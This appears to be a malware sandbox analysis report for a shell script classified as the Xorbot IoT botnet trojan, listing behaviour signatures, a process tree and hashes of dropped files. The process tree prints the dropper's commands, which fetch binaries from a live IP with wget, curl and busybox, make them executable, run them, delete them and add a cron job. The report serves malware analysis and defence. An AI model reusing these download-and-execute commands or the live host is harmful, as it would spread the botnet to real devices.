Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    100s
  • max time network
    128s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    02/01/2025, 13:22

Sharing

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250102-ql79fstjfz
  • SHA256 ac9bab3ad183c99cfce29fa21be3e173974bbd1fa9dc894493eaa9c2208e8b7d
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (732) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:705
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:709
        • /usr/bin/wget
          wget http://66.63.187.225/bins/Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:712
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:730
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:733
        • /bin/chmod
          chmod 777 Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          2⤵
          • File and Directory Permissions Modification
          PID:734
        • /tmp/Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          ./Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          2⤵
          • Executes dropped EXE
          • System Network Configuration Discovery
          PID:735
        • /bin/rm
          rm Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          2⤵
          • System Network Configuration Discovery
          PID:737
        • /usr/bin/wget
          wget http://66.63.187.225/bins/VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
          2⤵
          • Writes file to tmp directory
          PID:738
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
          2⤵
          • Writes file to tmp directory
          PID:739
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
          2⤵
          • Writes file to tmp directory
          PID:740
        • /bin/chmod
          chmod 777 VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
          2⤵
          • File and Directory Permissions Modification
          PID:741
        • /tmp/VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
          ./VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
          2⤵
          • Executes dropped EXE
          PID:742
        • /bin/rm
          rm VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
          2⤵
            PID:744
          • /usr/bin/wget
            wget http://66.63.187.225/bins/baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
            2⤵
            • Writes file to tmp directory
            PID:745
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
            2⤵
            • Writes file to tmp directory
            PID:748
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
            2⤵
            • Writes file to tmp directory
            PID:763
          • /bin/chmod
            chmod 777 baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
            2⤵
            • File and Directory Permissions Modification
            PID:772
          • /tmp/baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
            ./baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
            2⤵
            • Executes dropped EXE
            PID:773
          • /bin/rm
            rm baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
            2⤵
              PID:776
            • /usr/bin/wget
              wget http://66.63.187.225/bins/GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc
              2⤵
              • Writes file to tmp directory
              PID:778
            • /usr/bin/curl
              curl -O http://66.63.187.225/bins/GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:796
            • /bin/busybox
              /bin/busybox wget http://66.63.187.225/bins/GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc
              2⤵
              • Writes file to tmp directory
              PID:799
            • /bin/chmod
              chmod 777 GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc
              2⤵
              • File and Directory Permissions Modification
              PID:800
            • /tmp/GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc
              ./GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc
              2⤵
              • Executes dropped EXE
              PID:801
            • /bin/rm
              rm GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc
              2⤵
                PID:803
              • /usr/bin/wget
                wget http://66.63.187.225/bins/69xR36HQoN1Z8MIHafkSrGetoqXG4HuZxU
                2⤵
                • Writes file to tmp directory
                PID:804
              • /usr/bin/curl
                curl -O http://66.63.187.225/bins/69xR36HQoN1Z8MIHafkSrGetoqXG4HuZxU
                2⤵
                • Writes file to tmp directory
                PID:805
              • /bin/busybox
                /bin/busybox wget http://66.63.187.225/bins/69xR36HQoN1Z8MIHafkSrGetoqXG4HuZxU
                2⤵
                • Writes file to tmp directory
                PID:806
              • /bin/chmod
                chmod 777 69xR36HQoN1Z8MIHafkSrGetoqXG4HuZxU
                2⤵
                • File and Directory Permissions Modification
                PID:810
              • /tmp/69xR36HQoN1Z8MIHafkSrGetoqXG4HuZxU
                ./69xR36HQoN1Z8MIHafkSrGetoqXG4HuZxU
                2⤵
                • Executes dropped EXE
                PID:811
              • /bin/rm
                rm 69xR36HQoN1Z8MIHafkSrGetoqXG4HuZxU
                2⤵
                  PID:814
                • /usr/bin/wget
                  wget http://66.63.187.225/bins/WS6x19vU0QQ7kt3jPbsvtdNhqQcnMR9GW1
                  2⤵
                  • Writes file to tmp directory
                  PID:816
                • /usr/bin/curl
                  curl -O http://66.63.187.225/bins/WS6x19vU0QQ7kt3jPbsvtdNhqQcnMR9GW1
                  2⤵
                  • Writes file to tmp directory
                  PID:827
                • /bin/busybox
                  /bin/busybox wget http://66.63.187.225/bins/WS6x19vU0QQ7kt3jPbsvtdNhqQcnMR9GW1
                  2⤵
                  • Writes file to tmp directory
                  PID:843
                • /bin/chmod
                  chmod 777 WS6x19vU0QQ7kt3jPbsvtdNhqQcnMR9GW1
                  2⤵
                  • File and Directory Permissions Modification
                  PID:847
                • /tmp/WS6x19vU0QQ7kt3jPbsvtdNhqQcnMR9GW1
                  ./WS6x19vU0QQ7kt3jPbsvtdNhqQcnMR9GW1
                  2⤵
                  • Executes dropped EXE
                  PID:848
                • /bin/rm
                  rm WS6x19vU0QQ7kt3jPbsvtdNhqQcnMR9GW1
                  2⤵
                    PID:850
                  • /usr/bin/wget
                    wget http://66.63.187.225/bins/y0fdXxGn1h0AzHqhL9lDPZkkt2zX8znwUF
                    2⤵
                    • Writes file to tmp directory
                    PID:851
                  • /usr/bin/curl
                    curl -O http://66.63.187.225/bins/y0fdXxGn1h0AzHqhL9lDPZkkt2zX8znwUF
                    2⤵
                    • Writes file to tmp directory
                    PID:852
                  • /bin/busybox
                    /bin/busybox wget http://66.63.187.225/bins/y0fdXxGn1h0AzHqhL9lDPZkkt2zX8znwUF
                    2⤵
                    • Writes file to tmp directory
                    PID:853
                  • /bin/chmod
                    chmod 777 y0fdXxGn1h0AzHqhL9lDPZkkt2zX8znwUF
                    2⤵
                    • File and Directory Permissions Modification
                    PID:854
                  • /tmp/y0fdXxGn1h0AzHqhL9lDPZkkt2zX8znwUF
                    ./y0fdXxGn1h0AzHqhL9lDPZkkt2zX8znwUF
                    2⤵
                    • Executes dropped EXE
                    PID:855
                  • /bin/rm
                    rm y0fdXxGn1h0AzHqhL9lDPZkkt2zX8znwUF
                    2⤵
                      PID:857
                    • /usr/bin/wget
                      wget http://66.63.187.225/bins/AIlKkjwdnDafqaspZNMqfltE9gn3EC3Nkb
                      2⤵
                      • Writes file to tmp directory
                      PID:858
                    • /usr/bin/curl
                      curl -O http://66.63.187.225/bins/AIlKkjwdnDafqaspZNMqfltE9gn3EC3Nkb
                      2⤵
                      • Writes file to tmp directory
                      PID:859
                    • /bin/busybox
                      /bin/busybox wget http://66.63.187.225/bins/AIlKkjwdnDafqaspZNMqfltE9gn3EC3Nkb
                      2⤵
                      • Writes file to tmp directory
                      PID:860
                    • /bin/chmod
                      chmod 777 AIlKkjwdnDafqaspZNMqfltE9gn3EC3Nkb
                      2⤵
                      • File and Directory Permissions Modification
                      PID:861
                    • /tmp/AIlKkjwdnDafqaspZNMqfltE9gn3EC3Nkb
                      ./AIlKkjwdnDafqaspZNMqfltE9gn3EC3Nkb
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:862
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:864
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:865
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:866
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:867
                          • /bin/rm
                            rm AIlKkjwdnDafqaspZNMqfltE9gn3EC3Nkb
                            2⤵
                              PID:869
                            • /usr/bin/wget
                              wget http://66.63.187.225/bins/PYEvRvIzIz9u3TGxIUQWB7bZfU3hFPu5UN
                              2⤵
                                PID:872

                            Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

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                                  Downloads

                                  69xR36HQoN1Z8MIHafkSrGetoqXG4HuZxU
                                  • Path /tmp/69xR36HQoN1Z8MIHafkSrGetoqXG4HuZxU
                                  • Size 177KB
                                  • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  AIlKkjwdnDafqaspZNMqfltE9gn3EC3Nkb
                                  • Path /tmp/AIlKkjwdnDafqaspZNMqfltE9gn3EC3Nkb
                                  • Size 151KB
                                  • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc
                                  • Path /tmp/GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc
                                  • Size 99KB
                                  • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
                                  • Path /tmp/Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
                                  • Size 127KB
                                  • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
                                  • Path /tmp/VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
                                  • Size 151KB
                                  • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  WS6x19vU0QQ7kt3jPbsvtdNhqQcnMR9GW1
                                  • Path /tmp/WS6x19vU0QQ7kt3jPbsvtdNhqQcnMR9GW1
                                  • Size 141KB
                                  • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
                                  • Path /tmp/baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
                                  • Size 122KB
                                  • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  y0fdXxGn1h0AzHqhL9lDPZkkt2zX8znwUF
                                  • Path /tmp/y0fdXxGn1h0AzHqhL9lDPZkkt2zX8znwUF
                                  • Size 119KB
                                  • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  tmp.JwDStY
                                  • Path /var/spool/cron/crontabs/tmp.JwDStY
                                  • Size 210B
                                  • SHA256 1c193419731b2750e827a6fb5055969f5bdb9400d1d619b8aa6de176445d8832
                                  • MD5 SHA1 SHA512
                                  Submit Download